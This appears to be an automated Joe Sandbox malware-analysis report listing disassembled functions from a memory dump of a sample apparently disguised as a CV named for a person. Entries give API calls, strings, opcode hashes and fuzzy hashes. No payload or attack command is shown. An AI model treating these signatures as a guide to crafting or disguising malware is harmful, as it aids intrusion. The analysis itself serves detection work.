                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID: ComboBox$ListBox
                                                                          • API String ID: 3850602802-1403004172
                                                                          • Opcode ID: d57472a3e669a4355d05bff78511c531b44f03f063ff96891c3253896f991f90
                                                                          • Instruction ID: 0dc5e6440ea7706dd7c95414671e5fbc3aa326566e22a0b80a33154f085060cc
                                                                          • Opcode Fuzzy Hash: d57472a3e669a4355d05bff78511c531b44f03f063ff96891c3253896f991f90
                                                                          • Instruction Fuzzy Hash: D701B571641115AFDB04EBA4CC56EFE3BBABF86350B54061DF462972D2EB70590887A0
                                                                          Function 005CB67D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,00000180,00000000,?), ref: 005CB6EB
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID: ComboBox$ListBox
                                                                          • API String ID: 3850602802-1403004172
                                                                          • Opcode ID: f5d2fc0ebb24345efbf3976f15262b180158051c17ceecab942f515c177900f0
                                                                          • Instruction ID: ee2ea5134486c4c17e1da8dde5427f073b9d5f93e37a62a0cf0cabf543ae9eda
                                                                          • Opcode Fuzzy Hash: f5d2fc0ebb24345efbf3976f15262b180158051c17ceecab942f515c177900f0
                                                                          • Instruction Fuzzy Hash: 43018F76641006AFDB05EBE4C967FFE7BB9AF45340F50002DB402A7281EB905E1897B5
                                                                          Function 005CB700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,00000182,?,00000000), ref: 005CB76C
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID: ComboBox$ListBox
                                                                          • API String ID: 3850602802-1403004172
                                                                          • Opcode ID: 695cf28874a62a642fe8580e3d938faf4617a21da9d955055b31bda8e5174874
                                                                          • Instruction ID: 5bcb202586b5eda58ff9bb707949c6517abfc664725964c90607f16c5143b762
                                                                          • Opcode Fuzzy Hash: 695cf28874a62a642fe8580e3d938faf4617a21da9d955055b31bda8e5174874
                                                                          • Instruction Fuzzy Hash: 8501A276641106BFDB01E7E4CA57FFE7BADAB45340F50002DB802B3192EB609E1987B5
                                                                          Function 005B4D7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __calloc_crt
                                                                          • String ID: "e
                                                                          • API String ID: 3494438863-2119911275
                                                                          • Opcode ID: 98488e1cbc32d76b15e603e5c61e7277ec5a3038a52207beab12546620fe2b48
                                                                          • Instruction ID: 59b251e1259f0ed7c1e388dac71267768472d8ad9a885dc18af055642e90100b
                                                                          • Opcode Fuzzy Hash: 98488e1cbc32d76b15e603e5c61e7277ec5a3038a52207beab12546620fe2b48
                                                                          • Instruction Fuzzy Hash: D4F02271248303AEF734DF58FC616EA6FD6F741B60F10452AF205CA286E730E9818E95
                                                                          Function 00594024 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadImageW.USER32(00590000,00000063,00000001,00000010,00000010,00000000), ref: 00594048
                                                                          • EnumResourceNamesW.KERNEL32(00000000,0000000E,005D67E9,00000063,00000000,76C20280,?,?,00593EE1,?,?,000000FF), ref: 006041B3
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: EnumImageLoadNamesResource
                                                                          • String ID: >Y
                                                                          • API String ID: 1578290342-3074647729
                                                                          • Opcode ID: efd6482c533b464cf3632e756ff337e9058b4efe4836dcd87d3b9f6ed399912e
                                                                          • Instruction ID: 8772d6fa4464b71a1ef596e3c5dea2dd779c3a0164bbffb5725e61726a48aa76
                                                                          • Opcode Fuzzy Hash: efd6482c533b464cf3632e756ff337e9058b4efe4836dcd87d3b9f6ed399912e
                                                                          • Instruction Fuzzy Hash: F9F06D71640314B7E7308B2AFC4AFD23EAAE706BB6F105506F324AE1D0E6F094818A94
                                                                          Function 005D7744 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ClassName_wcscmp
                                                                          • String ID: #32770
                                                                          • API String ID: 2292705959-463685578
                                                                          • Opcode ID: 69354caa98e883fc64f55fd80e80cd0dc34886944fda37b56a8b5915da3c898f
                                                                          • Instruction ID: 39239dfef6ed1679c504c46c64dd14cbf8b8b3cbaaeca80a26608d9efebf4ad4
                                                                          • Opcode Fuzzy Hash: 69354caa98e883fc64f55fd80e80cd0dc34886944fda37b56a8b5915da3c898f
                                                                          • Instruction Fuzzy Hash: 5CE0927760432927D720EAA99C09ECBFFADEB95B60F010057B905D3181E660A60587D4
                                                                          Function 005CA631 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 005CA63F
                                                                            • Part of subcall function 005B13F1: _doexit.LIBCMT ref: 005B13FB
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Message_doexit
                                                                          • String ID: AutoIt$Error allocating memory.
                                                                          • API String ID: 1993061046-4017498283
                                                                          • Opcode ID: 7d48640960ce140a97505cb4530422ae01dcf17aaab60ac6a68da76ed98474cb
                                                                          • Instruction ID: 0fa411e91df356ac8832d8af9cf8e1c1d2609de5abb4cfa0e47be8ead26548c4
                                                                          • Opcode Fuzzy Hash: 7d48640960ce140a97505cb4530422ae01dcf17aaab60ac6a68da76ed98474cb
                                                                          • Instruction Fuzzy Hash: EFD02B313C072937D31036DA3C2FFC87E48AB59B51F140416BF0C954C259F2958002D9
                                                                          Function 0060AE86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetSystemDirectoryW.KERNEL32(?), ref: 0060ACC0
                                                                          • FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0060AEBD
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: DirectoryFreeLibrarySystem
                                                                          • String ID: WIN_XPe
                                                                          • API String ID: 510247158-3257408948
                                                                          • Opcode ID: dbe5e347d788480c51251e5ddf37de9f215d77945b7483b889851594c3beca49
                                                                          • Instruction ID: 2dabf93b82a89c73497306c9f5342f482e59f9a8b662ad0cc37a8d87ca42b996
                                                                          • Opcode Fuzzy Hash: dbe5e347d788480c51251e5ddf37de9f215d77945b7483b889851594c3beca49
                                                                          • Instruction Fuzzy Hash: 4AE06D70C40649EFDB19DBE5D9449EEBBBAAB48341F15D482E112B22A0CB704A85DF22
                                                                          Function 005F86CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 005F86E2
                                                                          • PostMessageW.USER32(00000000), ref: 005F86E9
                                                                            • Part of subcall function 005D7A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 005D7AD0
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: FindMessagePostSleepWindow
                                                                          • String ID: Shell_TrayWnd
                                                                          • API String ID: 529655941-2988720461
                                                                          • Opcode ID: 6ba911f2455d4e91f3af2793ced99a5ac9ff39c03db015a53454af2346318485
                                                                          • Instruction ID: fc2d81a81c8688fccc438caf5ca1b7f349a4d0e11508292241331d909883567e
                                                                          • Opcode Fuzzy Hash: 6ba911f2455d4e91f3af2793ced99a5ac9ff39c03db015a53454af2346318485
                                                                          • Instruction Fuzzy Hash: B5D012313853287BF37867709C0FFC67A1AAB48B21F555817B745EA2D0C9E4E940C754
                                                                          Function 005F8698 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 005F86A2
                                                                          • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 005F86B5
                                                                            • Part of subcall function 005D7A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 005D7AD0
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: FindMessagePostSleepWindow
                                                                          • String ID: Shell_TrayWnd
                                                                          • API String ID: 529655941-2988720461
                                                                          • Opcode ID: 4db4b46a0085bd674c162783a26b16b3faea91357c454fe9f2270b89f1741e0b
                                                                          • Instruction ID: ea43abf986052355a32b189075b2d0260ba011cd63b8a5e67247459e65ad9d7b
                                                                          • Opcode Fuzzy Hash: 4db4b46a0085bd674c162783a26b16b3faea91357c454fe9f2270b89f1741e0b
                                                                          • Instruction Fuzzy Hash: C6D01231384328B7E37867709C0FFC67E1AAB44B21F155817B749AA2D0C9E4E940C754